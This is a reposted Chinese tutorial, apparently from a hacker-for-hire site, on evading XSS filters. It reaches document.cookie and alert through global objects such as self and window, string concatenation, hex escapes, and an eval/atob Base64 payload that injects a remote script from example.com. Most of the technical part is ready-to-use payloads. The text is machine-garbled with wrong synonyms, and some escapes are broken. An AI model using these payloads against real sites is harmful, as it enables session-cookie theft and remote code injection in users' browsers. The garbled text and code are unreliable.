*** 变异小技巧:使用JavaScript全局变量绕过XSS过滤器-黑客接单平台

访客5年前黑客资讯842
什么是JavaScript大局变量? JavaScript大局变量在函数外部声明或运用window方针声明,它能够经过任何函数拜访。 假定你的方针Web应用程序简单遭到映射到JavaScript字符串或JavaScript函数中的XSS的攻。 例如,下面的PHP脚本: echo " var message = 'Hello ".$_GET["name"]."'; alert(message); "; 如你所见,name参数简单遭到进犯,但是在这个示例中,假定Web应用程序有一个过滤器,它阻挠运用正则表达式(如/document[^.]*.[^.]*cookie/)阻挠将“document.cookie”字符串用于任何用户输入,让咱们来看看以下有效载荷: 在这种情况下,能够运用JavaScript大局变量来绕过它。咱们有许多办法能够从window或self方针拜访document.cookie。例如,例如,像window["document"]["cookie"]这样的方针就不会被阻挠。 从上面的示例中能够看出,你乃至能够运用self["alert"]("foo")这样的语法拜访任何JavaScript函数,该函数等于alert("foo");,这种语法为你供给了许多绕过弱过滤器的办法。明显,你简直能够在任何地方运用相似的语法,例如: (/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("yo") 关于“self”方针 Window.self只读特点回来窗口自身,作为WindowProxy,它能够与窗口方针(即window.self)或独立方针(self)上的点符号一同运用。独立符号的长处是关于非窗口上下文存在相似的表明法,例如在Web Workers中。经过运用self,你不只能够在窗口上下文(self将解析为window.self)的 *** 中引证大局规模,并且还能够在运转上下文(self将解析为WorkerGlobalScope.self)中引证。 你能够从以下方位调用任何JavaScript函数: • window • self • _self • this • top • parent • frames 小技巧1.衔接和十六进制转义序列(Escape Sequence) 绕过WAF规矩的最常见技能便是在或许的情况下运用字符串衔接。关于RCE来说也是如此,即便关于SQLi和JavaScript也是如此。 有许多WAF运用根据JavaScript函数名列表的过滤器,其间许多过滤器会阻挠包括比如alert()或String.fromCharCode()之类的字符串的恳求。因为大局变量,咱们能够运用字符串衔接或十六进制转义序列轻松绕过它们。例如: /* ** alert(document.cookie); */ self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"]) 绕过过滤器的更杂乱的语法是用十六进制转义序列替换字符串,字符代码小于256的任何字符都能够运用其十六进制表明转义,并运用x转义序列: > console.log("x68x65x6cx6cx6fx2cx20x77x6fx72x6cx64x21") 明显,将“alert”、“document”和“cookie”字符串替换为它们的十六进制表明,能够调用前面看到的大局变量中的任何函数: /* ** alert(document.cookie) */ self["x61x6cx65x72x74"]( self["x64x6fx63x75x6dx65x6ex74"] ["x63x6fx6fx6bx69x65"] ) 小技巧2. Eval和Base64编码的字符串 假如WAF要过滤咱们的输入内容,那么最困难的工作之一便是动态创立并增加一个调用长途JavaScript文件(相似于 Base64和eval()能够协助咱们,特别是假如咱们能够防止将“eval”字符串作为用户输入发送的话。看一下下面的比如: self["x65x76x61x6c"]( self["x61x74x6fx62"]( "dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50 c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW 5kQ2hpbGQoc2NyaXB0KTs="[1][2]黑客接单网

相关文章

Trickbot参加长途使用凭据盗取功用

2019年11月,Trend Micro研究人员发现一个含有暗码盗取模块的Trickbot变种,该暗码盗取模块能够从很多的运用中盗取凭据。2019年1月,研究人员发现一个参加了多个功用的Trickbo...

秒爆十万字典:奇葩技巧快速枚举“一句话后门”暗码

关于一句话咱们都不生疏,有时会需求爆炸。爆炸的速度和方针的响应速度就有很大的关系了。那假如咱们爆炸的速度能够提高至少1000倍呢? 首要如下图↓ 变量=echo “ok”; 假如这个变量等于暗码的时分...

从零开始学Fuzzing系列:带领nduja打破Grinder的壁垒

四年前开源的Grinder项目,和借助于它运转的nduja,着实让浏览器缝隙发掘飞入了寻常百姓家。但随着时刻的检测,Grinder也遇到了让人爱恨交加的为难:分明发生了Crash,可便是无法重现。有多...

【对立蠕虫】怎么维护网页里的按钮,不被 XSS 主动点击

前语 XSS 主动点按钮有什么损害? 在交际网络里,大多操作都是经过点击按钮建议的。例如宣布留言,假设留言体系有 BUG,那么 XSS 就能主动点击发送按钮,发布带有恶意代码的留言。老友看了中招后,又...

Burpsuit结合SQLMapAPI发生的批量注入插件(X10)

1.1变化: 添加过滤设置 优化显现成果 添加运转提示信息 添加域名正则匹配 整个插件分为三个面板:使命面板、sqlmapapi参数装备面板、过滤条件面板。 使命面板 Server : SQLmap...

攻破暗盘之拿下吃鸡DNF等游戏垂钓站群

前段时间有个网友给我发了个网址,说找到个专门做垂钓网站的衔接,让我看看,然后就引出了一系列事情。 网址如下:http://mfnyongshihuigui.jiebao8.top 其时也没介意,有天闲...